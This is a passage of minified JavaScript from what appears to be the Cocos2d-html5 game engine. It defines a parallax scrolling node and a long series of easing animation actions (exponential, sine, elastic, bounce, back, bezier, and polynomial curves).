  480. Nq: n("Lb"),
  481. mn: p("Ib"),
  482. tq: n("Ib"),
  483. Ym: p("Cb"),
  484. Vj: n("Cb"),
  485. $i: function(a, b) {
  486. this.Lb = a;
  487. this.Ib = b;
  488. this.Cb = g;
  489. return e
  490. }
  491. });
  492. cc.Vc.create = function(a, b) {
  493. var c = new cc.Vc;
  494. c.$i(a, b);
  495. return c
  496. };
  497. cc.yb = cc.NodeRGBA.extend({
  498. Fa: g,
  499. ud: g,
  500. bh: "ParallaxNode",
  501. rn: p("Fa"),
  502. wq: n("Fa"),
  503. ctor: function() {
  504. cc.NodeRGBA.prototype.ctor.call(this);
  505. this.Fa = [];
  506. this.ud = cc.p(-100, -100)
  507. },
  508. addChild: function(a, b, c, d) {
  509. if (3 === arguments.length) cc.log("ParallaxNode: use addChild(child, z, ratio, offset) instead");
  510. else {
  511. if (!a) throw "cc.ParallaxNode.addChild(): child should be non-null";
  512. var f = cc.Vc.create(c, d);
  513. f.Vj(a);
  514. this.Fa.push(f);
  515. a.setPosition(this._position.x * c.x + d.x, this._position.y * c.y + d.y);
  516. cc.NodeRGBA.prototype.addChild.call(this, a, b, a.tag)
  517. }
  518. },
  519. removeChild: function(a, b) {
  520. for (var c = this.Fa, d = 0; d < c.length; d++) if (c[d].Cb == a) {
  521. c.splice(d, 1);
  522. break
  523. }
  524. cc.NodeRGBA.prototype.removeChild.call(this, a, b)
  525. },
  526. Gj: function(a) {
  527. this.Fa.length = 0;
  528. cc.NodeRGBA.prototype.Gj.call(this, a)
  529. },
  530. visit: function() {
  531. var a = this.ah();
  532. if (!cc.pointEqualToPoint(a, this.ud)) {
  533. for (var b = this.Fa, c = 0, d = b.length; c < d; c++) {
  534. var f = b[c];
  535. f.Cb.setPosition(-a.x + a.x * f.Lb.x + f.Ib.x, -a.y + a.y * f.Lb.y + f.Ib.y)
  536. }
  537. this.ud = a
  538. }
  539. cc.NodeRGBA.prototype.visit.call(this)
  540. },
  541. ah: function() {
  542. for (var a = this._position, b = this; b.parent != g;) b = b.parent, a = cc.pAdd(a, b.getPosition());
  543. return a
  544. }
  545. });
  546. cc.yb.create = function() {
  547. return new cc.yb
  548. };
  549. cc.h = cc.ActionInterval.extend({
  550. d: g,
  551. ctor: function(a) {
  552. cc.ActionInterval.prototype.ctor.call(this);
  553. a && this.initWithAction(a)
  554. },
  555. initWithAction: function(a) {
  556. if (!a) throw "cc.ActionEase.initWithAction(): action must be non nil";
  557. return this.initWithDuration(a.getDuration()) ? (this.d = a, e) : h
  558. },
  559. clone: function() {
  560. var a = new cc.h;
  561. a.initWithAction(this.d.clone());
  562. return a
  563. },
  564. startWithTarget: function(a) {
  565. cc.ActionInterval.prototype.startWithTarget.call(this, a);
  566. this.d.startWithTarget(this.target)
  567. },
  568. stop: function() {
  569. this.d.stop();
  570. cc.ActionInterval.prototype.stop.call(this)
  571. },
  572. update: function(a) {
  573. this.d.update(a)
  574. },
  575. reverse: function() {
  576. return cc.h.create(this.d.reverse())
  577. },
  578. en: p("d")
  579. });
  580. cc.h.create = function(a) {
  581. return new cc.h(a)
  582. };
  583. cc.ua = cc.h.extend({
  584. m: 0,
  585. ctor: function(a, b) {
  586. cc.h.prototype.ctor.call(this);
  587. void 0 !== b && this.initWithAction(a, b)
  588. },
  589. Lq: n("m"),
  590. Fn: p("m"),
  591. initWithAction: function(a, b) {
  592. return cc.h.prototype.initWithAction.call(this, a) ? (this.m = b, e) : h
  593. },
  594. clone: function() {
  595. var a = new cc.ua;
  596. a.initWithAction(this.d.clone(), this.m);
  597. return a
  598. },
  599. reverse: function() {
  600. return cc.ua.create(this.d.reverse(), 1 / this.m)
  601. }
  602. });
  603. cc.ua.create = function(a, b) {
  604. return new cc.ua(a, b)
  605. };
  606. cc.ec = cc.ua.extend({
  607. update: function(a) {
  608. this.d.update(Math.pow(a, this.m))
  609. },
  610. reverse: function() {
  611. return cc.ec.create(this.d.reverse(), 1 / this.m)
  612. },
  613. clone: function() {
  614. var a = new cc.ec;
  615. a.initWithAction(this.d.clone(), this.m);
  616. return a
  617. }
  618. });
  619. cc.ec.create = function(a, b) {
  620. return new cc.ec(a, b)
  621. };
  622. cc.gi = function(a) {
  623. return {
  624. m: a,
  625. i: function(a) {
  626. return Math.pow(a, this.m)
  627. },
  628. reverse: function() {
  629. return cc.gi(1 / this.m)
  630. }
  631. }
  632. };
  633. cc.ob = cc.ua.extend({
  634. update: function(a) {
  635. this.d.update(Math.pow(a, 1 / this.m))
  636. },
  637. reverse: function() {
  638. return cc.ob.create(this.d.reverse(), 1 / this.m)
  639. },
  640. clone: function() {
  641. var a = new cc.ob;
  642. a.initWithAction(this.d.clone(), this.m);
  643. return a
  644. }
  645. });
  646. cc.ob.create = function(a, b) {
  647. return new cc.ob(a, b)
  648. };
  649. cc.ii = function(a) {
  650. return {
  651. m: a,
  652. i: function(a) {
  653. return Math.pow(a, 1 / this.m)
  654. },
  655. reverse: function() {
  656. return cc.ii(1 / this.m)
  657. }
  658. }
  659. };
  660. cc.nb = cc.ua.extend({
  661. update: function(a) {
  662. a *= 2;
  663. 1 > a ? this.d.update(0.5 * Math.pow(a, this.m)) : this.d.update(1 - 0.5 * Math.pow(2 - a, this.m))
  664. },
  665. clone: function() {
  666. var a = new cc.nb;
  667. a.initWithAction(this.d.clone(), this.m);
  668. return a
  669. },
  670. reverse: function() {
  671. return cc.nb.create(this.d.reverse(), this.m)
  672. }
  673. });
  674. cc.nb.create = function(a, b) {
  675. return new cc.nb(a, b)
  676. };
  677. cc.hi = function(a) {
  678. return {
  679. m: a,
  680. i: function(a) {
  681. a *= 2;
  682. return 1 > a ? 0.5 * Math.pow(a, this.m) : 1 - 0.5 * Math.pow(2 - a, this.m)
  683. },
  684. reverse: function() {
  685. return cc.hi(this.m)
  686. }
  687. }
  688. };
  689. cc.cc = cc.h.extend({
  690. update: function(a) {
  691. this.d.update(0 === a ? 0 : Math.pow(2, 10 * (a - 1)))
  692. },
  693. reverse: function() {
  694. return cc.Ma.create(this.d.reverse())
  695. },
  696. clone: function() {
  697. var a = new cc.cc;
  698. a.initWithAction(this.d.clone());
  699. return a
  700. }
  701. });
  702. cc.cc.create = function(a) {
  703. return new cc.cc(a)
  704. };
  705. cc.Re = {
  706. i: function(a) {
  707. return 0 === a ? 0 : Math.pow(2, 10 * (a - 1))
  708. },
  709. reverse: function() {
  710. return cc.Te
  711. }
  712. };
  713. cc.sm = function() {
  714. return cc.Re
  715. };
  716. cc.Ma = cc.h.extend({
  717. update: function(a) {
  718. this.d.update(1 == a ? 1 : -Math.pow(2, -10 * a) + 1)
  719. },
  720. reverse: function() {
  721. return cc.cc.create(this.d.reverse())
  722. },
  723. clone: function() {
  724. var a = new cc.Ma;
  725. a.initWithAction(this.d.clone());
  726. return a
  727. }
  728. });
  729. cc.Ma.create = function(a) {
  730. return new cc.Ma(a)
  731. };
  732. cc.Te = {
  733. i: function(a) {
  734. return 1 == a ? 1 : -Math.pow(2, -10 * a) + 1
  735. },
  736. reverse: function() {
  737. return cc.Re
  738. }
  739. };
  740. cc.um = function() {
  741. return cc.Te
  742. };
  743. cc.dc = cc.h.extend({
  744. update: function(a) {
  745. 1 != a && 0 !== a && (a *= 2, a = 1 > a ? 0.5 * Math.pow(2, 10 * (a - 1)) : 0.5 * (-Math.pow(2, -10 * (a - 1)) + 2));
  746. this.d.update(a)
  747. },
  748. reverse: function() {
  749. return cc.dc.create(this.d.reverse())
  750. },
  751. clone: function() {
  752. var a = new cc.dc;
  753. a.initWithAction(this.d.clone());
  754. return a
  755. }
  756. });
  757. cc.dc.create = function(a) {
  758. return new cc.dc(a)
  759. };
  760. cc.Se = {
  761. i: function(a) {
  762. return 1 !== a && 0 !== a ? (a *= 2, 1 > a ? 0.5 * Math.pow(2, 10 * (a - 1)) : 0.5 * (-Math.pow(2, -10 * (a - 1)) + 2)) : a
  763. },
  764. reverse: function() {
  765. return cc.Se
  766. }
  767. };
  768. cc.tm = function() {
  769. return cc.Se
  770. };
  771. cc.Na = cc.h.extend({
  772. update: function(a) {
  773. a = 0 === a || 1 === a ? a : -1 * Math.cos(a * Math.PI / 2) + 1;
  774. this.d.update(a)
  775. },
  776. reverse: function() {
  777. return cc.Oa.create(this.d.reverse())
  778. },
  779. clone: function() {
  780. var a = new cc.Na;
  781. a.initWithAction(this.d.clone());
  782. return a
  783. }
  784. });
  785. cc.Na.create = function(a) {
  786. return new cc.Na(a)
  787. };
  788. cc.cf = {
  789. i: function(a) {
  790. return 0 === a || 1 === a ? a : -1 * Math.cos(a * Math.PI / 2) + 1
  791. },
  792. reverse: function() {
  793. return cc.ef
  794. }
  795. };
  796. cc.Em = function() {
  797. return cc.cf
  798. };
  799. cc.Oa = cc.h.extend({
  800. update: function(a) {
  801. a = 0 === a || 1 === a ? a : Math.sin(a * Math.PI / 2);
  802. this.d.update(a)
  803. },
  804. reverse: function() {
  805. return cc.Na.create(this.d.reverse())
  806. },
  807. clone: function() {
  808. var a = new cc.Oa;
  809. a.initWithAction(this.d.clone());
  810. return a
  811. }
  812. });
  813. cc.Oa.create = function(a) {
  814. return new cc.Oa(a)
  815. };
  816. cc.ef = {
  817. i: function(a) {
  818. return 0 === a || 1 == a ? a : Math.sin(a * Math.PI / 2)
  819. },
  820. reverse: function() {
  821. return cc.cf
  822. }
  823. };
  824. cc.Gm = function() {
  825. return cc.ef
  826. };
  827. cc.va = cc.h.extend({
  828. update: function(a) {
  829. a = 0 === a || 1 === a ? a : -0.5 * (Math.cos(Math.PI * a) - 1);
  830. this.d.update(a)
  831. },
  832. clone: function() {
  833. var a = new cc.va;
  834. a.initWithAction(this.d.clone());
  835. return a
  836. },
  837. reverse: function() {
  838. return cc.va.create(this.d.reverse())
  839. }
  840. });
  841. cc.va.create = function(a) {
  842. return new cc.va(a)
  843. };
  844. cc.df = {
  845. i: function(a) {
  846. return 0 === a || 1 === a ? a : -0.5 * (Math.cos(Math.PI * a) - 1)
  847. },
  848. reverse: function() {
  849. return cc.df
  850. }
  851. };
  852. cc.Fm = function() {
  853. return cc.df
  854. };
  855. cc.Ka = cc.h.extend({
  856. j: 0.3,
  857. ctor: function(a, b) {
  858. cc.h.prototype.ctor.call(this);
  859. a && this.initWithAction(a, b)
  860. },
  861. vn: p("j"),
  862. Bq: n("j"),
  863. initWithAction: function(a, b) {
  864. cc.h.prototype.initWithAction.call(this, a);
  865. this.j = b == g ? 0.3 : b;
  866. return e
  867. },
  868. reverse: function() {
  869. cc.log("cc.EaseElastic.reverse(): it should be overridden in subclass.");
  870. return g
  871. },
  872. clone: function() {
  873. var a = new cc.Ka;
  874. a.initWithAction(this.d.clone(), this.j);
  875. return a
  876. }
  877. });
  878. cc.Ka.create = function(a, b) {
  879. return new cc.Ka(a, b)
  880. };
  881. cc.ac = cc.Ka.extend({
  882. update: function(a) {
  883. var b = 0;
  884. 0 === a || 1 === a ? b = a : (b = this.j / 4, a -= 1, b = -Math.pow(2, 10 * a) * Math.sin(2 * (a - b) * Math.PI / this.j));
  885. this.d.update(b)
  886. },
  887. reverse: function() {
  888. return cc.La.create(this.d.reverse(), this.j)
  889. },
  890. clone: function() {
  891. var a = new cc.ac;
  892. a.initWithAction(this.d.clone(), this.j);
  893. return a
  894. }
  895. });
  896. cc.ac.create = function(a, b) {
  897. return new cc.ac(a, b)
  898. };
  899. cc.Pe = {
  900. i: function(a) {
  901. if (0 === a || 1 === a) return a;
  902. a -= 1;
  903. return -Math.pow(2, 10 * a) * Math.sin(2 * (a - 0.075) * Math.PI / 0.3)
  904. },
  905. reverse: function() {
  906. return cc.Qe
  907. }
  908. };
  909. cc.di = function(a) {
  910. return a && 0.3 !== a ? {
  911. j: a,
  912. i: function(a) {
  913. if (0 === a || 1 === a) return a;
  914. a -= 1;
  915. return -Math.pow(2, 10 * a) * Math.sin(2 * (a - this.j / 4) * Math.PI / this.j)
  916. },
  917. reverse: function() {
  918. return cc.fi(this.j)
  919. }
  920. } : cc.Pe
  921. };
  922. cc.La = cc.Ka.extend({
  923. update: function(a) {
  924. var b = 0,
  925. b = 0 === a || 1 == a ? a : Math.pow(2, -10 * a) * Math.sin(2 * (a - this.j / 4) * Math.PI / this.j) + 1;
  926. this.d.update(b)
  927. },
  928. reverse: function() {
  929. return cc.ac.create(this.d.reverse(), this.j)
  930. },
  931. clone: function() {
  932. var a = new cc.La;
  933. a.initWithAction(this.d.clone(), this.j);
  934. return a
  935. }
  936. });
  937. cc.La.create = function(a, b) {
  938. return new cc.La(a, b)
  939. };
  940. cc.Qe = {
  941. i: function(a) {
  942. return 0 === a || 1 === a ? a : Math.pow(2, -10 * a) * Math.sin(2 * (a - 0.075) * Math.PI / 0.3) + 1
  943. },
  944. reverse: function() {
  945. return cc.Pe
  946. }
  947. };
  948. cc.fi = function(a) {
  949. return a && 0.3 !== a ? {
  950. j: a,
  951. i: function(a) {
  952. return 0 === a || 1 === a ? a : Math.pow(2, -10 * a) * Math.sin(2 * (a - this.j / 4) * Math.PI / this.j) + 1
  953. },
  954. reverse: function() {
  955. return cc.di(this.j)
  956. }
  957. } : cc.Qe
  958. };
  959. cc.bc = cc.Ka.extend({
  960. update: function(a) {
  961. var b = 0,
  962. b = this.j;
  963. if (0 === a || 1 == a) b = a;
  964. else {
  965. b || (b = this.j = 0.3 * 1.5);
  966. var c = b / 4;
  967. a = 2 * a - 1;
  968. b = 0 > a ? -0.5 * Math.pow(2, 10 * a) * Math.sin(2 * (a - c) * Math.PI / b) : 0.5 * Math.pow(2, -10 * a) * Math.sin(2 * (a - c) * Math.PI / b) + 1
  969. }
  970. this.d.update(b)
  971. },
  972. reverse: function() {
  973. return cc.bc.create(this.d.reverse(), this.j)
  974. },
  975. clone: function() {
  976. var a = new cc.bc;
  977. a.initWithAction(this.d.clone(), this.j);
  978. return a
  979. }
  980. });
  981. cc.bc.create = function(a, b) {
  982. return new cc.bc(a, b)
  983. };
  984. cc.ei = function(a) {
  985. return {
  986. j: a || 0.3,
  987. i: function(a) {
  988. var c = 0,
  989. c = this.j;
  990. if (0 === a || 1 === a) c = a;
  991. else {
  992. c || (c = this.j = 0.3 * 1.5);
  993. var d = c / 4;
  994. a = 2 * a - 1;
  995. c = 0 > a ? -0.5 * Math.pow(2, 10 * a) * Math.sin(2 * (a - d) * Math.PI / c) : 0.5 * Math.pow(2, -10 * a) * Math.sin(2 * (a - d) * Math.PI / c) + 1
  996. }
  997. return c
  998. },
  999. reverse: function() {
  1000. return cc.ei(this.j)
  1001. }
  1002. }
  1003. };
  1004. cc.ta = cc.h.extend({
  1005. Gc: function(a) {
  1006. if (a < 1 / 2.75) return 7.5625 * a * a;
  1007. if (a < 2 / 2.75) return a -= 1.5 / 2.75, 7.5625 * a * a + 0.75;
  1008. if (a < 2.5 / 2.75) return a -= 2.25 / 2.75, 7.5625 * a * a + 0.9375;
  1009. a -= 2.625 / 2.75;
  1010. return 7.5625 * a * a + 0.984375
  1011. },
  1012. clone: function() {
  1013. var a = new cc.ta;
  1014. a.initWithAction(this.d.clone());
  1015. return a
  1016. },
  1017. reverse: function() {
  1018. return cc.ta.create(this.d.reverse())
  1019. }
  1020. });
  1021. cc.ta.create = function(a) {
  1022. return new cc.ta(a)
  1023. };
  1024. cc.Yb = cc.ta.extend({
  1025. update: function(a) {
  1026. this.d.update(1 - this.Gc(1 - a))
  1027. },
  1028. reverse: function() {
  1029. return cc.$b.create(this.d.reverse())
  1030. },
  1031. clone: function() {
  1032. var a = new cc.Yb;
  1033. a.initWithAction(this.d.clone());
  1034. return a
  1035. }
  1036. });
  1037. cc.Yb.create = function(a) {
  1038. return new cc.Yb(a)
  1039. };
  1040. cc.gc = function(a) {
  1041. if (a < 1 / 2.75) return 7.5625 * a * a;
  1042. if (a < 2 / 2.75) return a -= 1.5 / 2.75, 7.5625 * a * a + 0.75;
  1043. if (a < 2.5 / 2.75) return a -= 2.25 / 2.75, 7.5625 * a * a + 0.9375;
  1044. a -= 2.625 / 2.75;
  1045. return 7.5625 * a * a + 0.984375
  1046. };
  1047. cc.Ge = {
  1048. i: function(a) {
  1049. return 1 - cc.gc(1 - a)
  1050. },
  1051. reverse: function() {
  1052. return cc.Ie
  1053. }
  1054. };
  1055. cc.jm = function() {
  1056. return cc.Ge
  1057. };
  1058. cc.$b = cc.ta.extend({
  1059. update: function(a) {
  1060. this.d.update(this.Gc(a))
  1061. },
  1062. reverse: function() {
  1063. return cc.Yb.create(this.d.reverse())
  1064. },
  1065. clone: function() {
  1066. var a = new cc.$b;
  1067. a.initWithAction(this.d.clone());
  1068. return a
  1069. }
  1070. });
  1071. cc.$b.create = function(a) {
  1072. return new cc.$b(a)
  1073. };
  1074. cc.Ie = {
  1075. i: function(a) {
  1076. return cc.gc(a)
  1077. },
  1078. reverse: function() {
  1079. return cc.Ge
  1080. }
  1081. };
  1082. cc.lm = function() {
  1083. return cc.Ie
  1084. };
  1085. cc.Zb = cc.ta.extend({
  1086. update: function(a) {
  1087. var b = 0,
  1088. b = 0.5 > a ? 0.5 * (1 - this.Gc(1 - 2 * a)) : 0.5 * this.Gc(2 * a - 1) + 0.5;
  1089. this.d.update(b)
  1090. },
  1091. clone: function() {
  1092. var a = new cc.Zb;
  1093. a.initWithAction(this.d.clone());
  1094. return a
  1095. },
  1096. reverse: function() {
  1097. return cc.Zb.create(this.d.reverse())
  1098. }
  1099. });
  1100. cc.Zb.create = function(a) {
  1101. return new cc.Zb(a)
  1102. };
  1103. cc.He = {
  1104. i: function(a) {
  1105. return a = 0.5 > a ? 0.5 * (1 - cc.gc(1 - 2 * a)) : 0.5 * cc.gc(2 * a - 1) + 0.5
  1106. },
  1107. reverse: function() {
  1108. return cc.He
  1109. }
  1110. };
  1111. cc.km = function() {
  1112. return cc.He
  1113. };
  1114. cc.fb = cc.h.extend({
  1115. update: function(a) {
  1116. this.d.update(0 === a || 1 == a ? a : a * a * (2.70158 * a - 1.70158))
  1117. },
  1118. reverse: function() {
  1119. return cc.Xb.create(this.d.reverse())
  1120. },
  1121. clone: function() {
  1122. var a = new cc.fb;
  1123. a.initWithAction(this.d.clone());
  1124. return a
  1125. }
  1126. });
  1127. cc.fb.create = function(a) {
  1128. return new cc.fb(a)
  1129. };
  1130. cc.De = {
  1131. i: function(a) {
  1132. return 0 === a || 1 === a ? a : a * a * (2.70158 * a - 1.70158)
  1133. },
  1134. reverse: function() {
  1135. return cc.Fe
  1136. }
  1137. };
  1138. cc.gm = function() {
  1139. return cc.De
  1140. };
  1141. cc.Xb = cc.h.extend({
  1142. update: function(a) {
  1143. a -= 1;
  1144. this.d.update(a * a * (2.70158 * a + 1.70158) + 1)
  1145. },
  1146. reverse: function() {
  1147. return cc.fb.create(this.d.reverse())
  1148. },
  1149. clone: function() {
  1150. var a = new cc.Xb;
  1151. a.initWithAction(this.d.clone());
  1152. return a
  1153. }
  1154. });
  1155. cc.Xb.create = function(a) {
  1156. return new cc.Xb(a)
  1157. };
  1158. cc.Fe = {
  1159. i: function(a) {
  1160. a -= 1;
  1161. return a * a * (2.70158 * a + 1.70158) + 1
  1162. },
  1163. reverse: function() {
  1164. return cc.De
  1165. }
  1166. };
  1167. cc.im = function() {
  1168. return cc.Fe
  1169. };
  1170. cc.Wb = cc.h.extend({
  1171. update: function(a) {
  1172. a *= 2;
  1173. 1 > a ? this.d.update(a * a * (3.5949095 * a - 2.5949095) / 2) : (a -= 2, this.d.update(a * a * (3.5949095 * a + 2.5949095) / 2 + 1))
  1174. },
  1175. clone: function() {
  1176. var a = new cc.Wb;
  1177. a.initWithAction(this.d.clone());
  1178. return a
  1179. },
  1180. reverse: function() {
  1181. return cc.Wb.create(this.d.reverse())
  1182. }
  1183. });
  1184. cc.Wb.create = function(a) {
  1185. return new cc.Wb(a)
  1186. };
  1187. cc.Ee = {
  1188. i: function(a) {
  1189. a *= 2;
  1190. if (1 > a) return a * a * (3.5949095 * a - 2.5949095) / 2;
  1191. a -= 2;
  1192. return a * a * (3.5949095 * a + 2.5949095) / 2 + 1
  1193. },
  1194. reverse: function() {
  1195. return cc.Ee
  1196. }
  1197. };
  1198. cc.hm = function() {
  1199. return cc.Ee
  1200. };
  1201. cc.gb = cc.h.extend({
  1202. uc: g,
  1203. vc: g,
  1204. wc: g,
  1205. xc: g,
  1206. ctor: function(a) {
  1207. cc.h.prototype.ctor.call(this, a)
  1208. },
  1209. f: function(a, b, c, d, f) {
  1210. return Math.pow(1 - f, 3) * a + 3 * f * Math.pow(1 - f, 2) * b + 3 * Math.pow(f, 2) * (1 - f) * c + Math.pow(f, 3) * d
  1211. },
  1212. update: function(a) {
  1213. this.d.update(this.f(this.uc, this.vc, this.wc, this.xc, a))
  1214. },
  1215. clone: function() {
  1216. var a = new cc.gb;
  1217. a.initWithAction(this.d.clone());
  1218. a.Yf(this.uc, this.vc, this.wc, this.xc);
  1219. return a
  1220. },
  1221. reverse: function() {
  1222. var a = cc.gb.create(this.d.reverse());
  1223. a.Yf(this.xc, this.wc, this.vc, this.uc);
  1224. return a
  1225. },
  1226. Yf: function(a, b, c, d) {
  1227. this.uc = a || 0;
  1228. this.vc = b || 0;
  1229. this.wc = c || 0;
  1230. this.xc = d || 0
  1231. }
  1232. });
  1233. cc.gb.create = function(a) {
  1234. return new cc.gb(a)
  1235. };
  1236. cc.ci = function(a, b, c, d) {
  1237. return {
  1238. i: function(f) {
  1239. return cc.gb.prototype.f(a, b, c, d, f)
  1240. },
  1241. reverse: function() {
  1242. return cc.ci(d, c, b, a)
  1243. }
  1244. }
  1245. };
  1246. cc.pb = cc.h.extend({
  1247. f: function(a) {
  1248. return Math.pow(a, 2)
  1249. },
  1250. update: function(a) {
  1251. this.d.update(this.f(a))
  1252. },
  1253. clone: function() {
  1254. var a = new cc.pb;
  1255. a.initWithAction(this.d.clone());
  1256. return a
  1257. },
  1258. reverse: function() {
  1259. return cc.pb.create(this.d.reverse())
  1260. }
  1261. });
  1262. cc.pb.create = function(a) {
  1263. return new cc.pb(a)
  1264. };
  1265. cc.Ue = {
  1266. i: cc.pb.prototype.f,
  1267. reverse: function() {
  1268. return cc.Ue
  1269. }
  1270. };
  1271. cc.vm = function() {
  1272. return cc.Ue
  1273. };
  1274. cc.rb = cc.h.extend({
  1275. f: function(a) {
  1276. return -a * (a - 2)
  1277. },
  1278. update: function(a) {
  1279. this.d.update(this.f(a))
  1280. },
  1281. clone: function() {
  1282. var a = new cc.rb;
  1283. a.initWithAction();
  1284. return a
  1285. },
  1286. reverse: function() {
  1287. return cc.rb.create(this.d.reverse())
  1288. }
  1289. });
  1290. cc.rb.create = function(a) {
  1291. return new cc.rb(a)
  1292. };
  1293. cc.We = {
  1294. i: cc.rb.prototype.f,
  1295. reverse: function() {
  1296. return cc.We
  1297. }
  1298. };
  1299. cc.xm = function() {
  1300. return cc.We
  1301. };
  1302. cc.qb = cc.h.extend({
  1303. f: function(a) {
  1304. var b = a;
  1305. a *= 2;
  1306. 1 > a ? b = 0.5 * a * a : (--a, b = -0.5 * (a * (a - 2) - 1));
  1307. return b
  1308. },
  1309. update: function(a) {
  1310. this.d.update(this.f(a))
  1311. },
  1312. clone: function() {
  1313. var a = new cc.qb;
  1314. a.initWithAction(this.d.clone());
  1315. return a
  1316. },
  1317. reverse: function() {
  1318. return cc.qb.create(this.d.reverse())
  1319. }
  1320. });
  1321. cc.qb.create = function(a) {
  1322. return new cc.qb(a)
  1323. };
  1324. cc.Ve = {
  1325. i: cc.qb.prototype.f,
  1326. reverse: function() {
  1327. return cc.Ve
  1328. }
  1329. };
  1330. cc.wm = function() {
  1331. return cc.Ve
  1332. };
  1333. cc.sb = cc.h.extend({
  1334. f: function(a) {
  1335. return a * a * a * a
  1336. },
  1337. update: function(a) {
  1338. this.d.update(this.f(a))
  1339. },
  1340. clone: function() {
  1341. var a = new cc.sb;
  1342. a.initWithAction(this.d.clone());
  1343. return a
  1344. },
  1345. reverse: function() {
  1346. return cc.sb.create(this.d.reverse())
  1347. }
  1348. });
  1349. cc.sb.create = function(a) {
  1350. return new cc.sb(a)
  1351. };
  1352. cc.Xe = {
  1353. i: cc.sb.prototype.f,
  1354. reverse: function() {
  1355. return cc.Xe
  1356. }
  1357. };
  1358. cc.ym = function() {
  1359. return cc.Xe
  1360. };
  1361. cc.ub = cc.h.extend({
  1362. f: function(a) {
  1363. a -= 1;
  1364. return -(a * a * a * a - 1)
  1365. },
  1366. update: function(a) {
  1367. this.d.update(this.f(a))
  1368. },
  1369. clone: function() {
  1370. var a = new cc.ub;
  1371. a.initWithAction(this.d.clone());
  1372. return a
  1373. },
  1374. reverse: function() {
  1375. return cc.ub.create(this.d.reverse())
  1376. }
  1377. });
  1378. cc.ub.create = function(a) {
  1379. return new cc.ub(a)
  1380. };
  1381. cc.Ze = {
  1382. i: cc.ub.prototype.f,
  1383. reverse: function() {
  1384. return cc.Ze
  1385. }
  1386. };
  1387. cc.Am = function() {
  1388. return cc.Ze
  1389. };
  1390. cc.tb = cc.h.extend({
  1391. f: function(a) {
  1392. a *= 2;
  1393. if (1 > a) return 0.5 * a * a * a * a;
  1394. a -= 2;
  1395. return -0.5 * (a * a * a * a - 2)
  1396. },
  1397. update: function(a) {
  1398. this.d.update(this.f(a))
  1399. },
  1400. clone: function() {
  1401. var a = new cc.tb;
  1402. a.initWithAction(this.d.clone());
  1403. return a
  1404. },
  1405. reverse: function() {
  1406. return cc.tb.create(this.d.reverse())
  1407. }
  1408. });
  1409. cc.tb.create = function(a) {
  1410. return new cc.tb(a)
  1411. };
  1412. cc.Ye = {
  1413. i: cc.tb.prototype.f,
  1414. reverse: function() {
  1415. return cc.Ye
  1416. }
  1417. };
  1418. cc.zm = function() {
  1419. return cc.Ye
  1420. };
  1421. cc.vb = cc.h.extend({
  1422. f: function(a) {
  1423. return a * a * a * a * a
  1424. },
  1425. update: function(a) {
  1426. this.d.update(this.f(a))
  1427. },
  1428. clone: function() {
  1429. var a = new cc.vb;
  1430. a.initWithAction(this.d.clone());
  1431. return a
  1432. },
  1433. reverse: function() {
  1434. return cc.vb.create(this.d.reverse())
  1435. }
  1436. });
  1437. cc.vb.create = function(a) {
  1438. return new cc.vb(a)
  1439. };
  1440. cc.$e = {
  1441. i: cc.vb.prototype.f,
  1442. reverse: function() {
  1443. return cc.$e
  1444. }
  1445. };
  1446. cc.Bm = function() {
  1447. return cc.$e
  1448. };
  1449. cc.xb = cc.h.extend({
  1450. f: function(a) {
  1451. a -= 1;
  1452. return a * a * a * a * a + 1
  1453. },
  1454. update: function(a) {
  1455. this.d.update(this.f(a))
  1456. },
  1457. clone: function() {
  1458. var a = new cc.xb;
  1459. a.initWithAction(this.d.clone());
  1460. return a
  1461. },
  1462. reverse: function() {
  1463. return cc.xb.create(this.d.reverse())
  1464. }
  1465. });
  1466. cc.xb.create = function(a) {
  1467. return new cc.xb(a)
  1468. };
  1469. cc.bf = {
  1470. i: cc.xb.prototype.f,
  1471. reverse: function() {
  1472. return cc.bf
  1473. }
  1474. };
  1475. cc.Dm = function() {
  1476. return cc.bf
  1477. };
  1478. cc.wb = cc.h.extend({
  1479. f: function(a) {
  1480. a *= 2;
  1481. if (1 > a) return 0.5 * a * a * a * a * a;
  1482. a -= 2;
  1483. return 0.5 * (a * a * a * a * a + 2)
  1484. },
  1485. update: function(a) {
  1486. this.d.update(this.f(a))
  1487. },
  1488. clone: function() {
  1489. var a = new cc.wb;
  1490. a.initWithAction(this.d.clone());
  1491. return a
  1492. },
  1493. reverse: function() {
  1494. return cc.wb.create(this.d.reverse())
  1495. }
  1496. });
  1497. cc.wb.create = function(a) {
  1498. return new cc.wb(a)
  1499. };
  1500. cc.af = {
  1501. i: cc.wb.prototype.f,
  1502. reverse: function() {
  1503. return cc.af
  1504. }
  1505. };
  1506. cc.Cm = function() {
  1507. return cc.af
  1508. };
  1509. cc.hb = cc.h.extend({
  1510. f: function(a) {
  1511. return -1 * (Math.sqrt(1 - a * a) - 1)
  1512. },
  1513. update: function(a) {
  1514. this.d.update(this.f(a))
  1515. },
  1516. clone: function() {
  1517. var a = new cc.hb;
  1518. a.initWithAction(this.d.clone());
  1519. return a
  1520. },
  1521. reverse: function() {
  1522. return cc.hb.create(this.d.reverse())
  1523. }
  1524. });
  1525. cc.hb.create = function(a) {
  1526. return new cc.hb(a)
  1527. };
  1528. cc.Je = {
  1529. i: cc.hb.prototype.f,
  1530. reverse: function() {
  1531. return cc.Je
  1532. }
  1533. };
  1534. cc.mm = function() {
  1535. return cc.Je
  1536. };
  1537. cc.jb = cc.h.extend({
  1538. f: function(a) {
  1539. a -= 1;
  1540. return Math.sqrt(1 - a * a)
  1541. },
  1542. update: function(a) {
  1543. this.d.update(this.f(a))
  1544. },
  1545. clone: function() {
  1546. var a = new cc.jb;
  1547. a.initWithAction(this.d.clone());
  1548. return a
  1549. },
  1550. reverse: function() {
  1551. return cc.jb.create(this.d.reverse())
  1552. }
  1553. });
  1554. cc.jb.create = function(a) {
  1555. return new cc.jb(a)
  1556. };
  1557. cc.Le = {
  1558. i: cc.jb.prototype.f,
  1559. reverse: function() {
  1560. return cc.Le
  1561. }
  1562. };
  1563. cc.om = function() {
  1564. return cc.Le
  1565. };
  1566. cc.ib = cc.h.extend({
  1567. f: function(a) {
  1568. a *= 2;
  1569. if (1 > a) return -0.5 * (Math.sqrt(1 - a * a) - 1);
  1570. a -= 2;
  1571. return 0.5 * (Math.sqrt(1 - a * a) + 1)
  1572. },
  1573. update: function(a) {
  1574. this.d.update(this.f(a))
  1575. },
  1576. clone: function() {
  1577. var a = new cc.ib;
  1578. a.initWithAction(this.d.clone());
  1579. return a
  1580. },
  1581. reverse: function() {
  1582. return cc.ib.create(this.d.reverse())
  1583. }
  1584. });
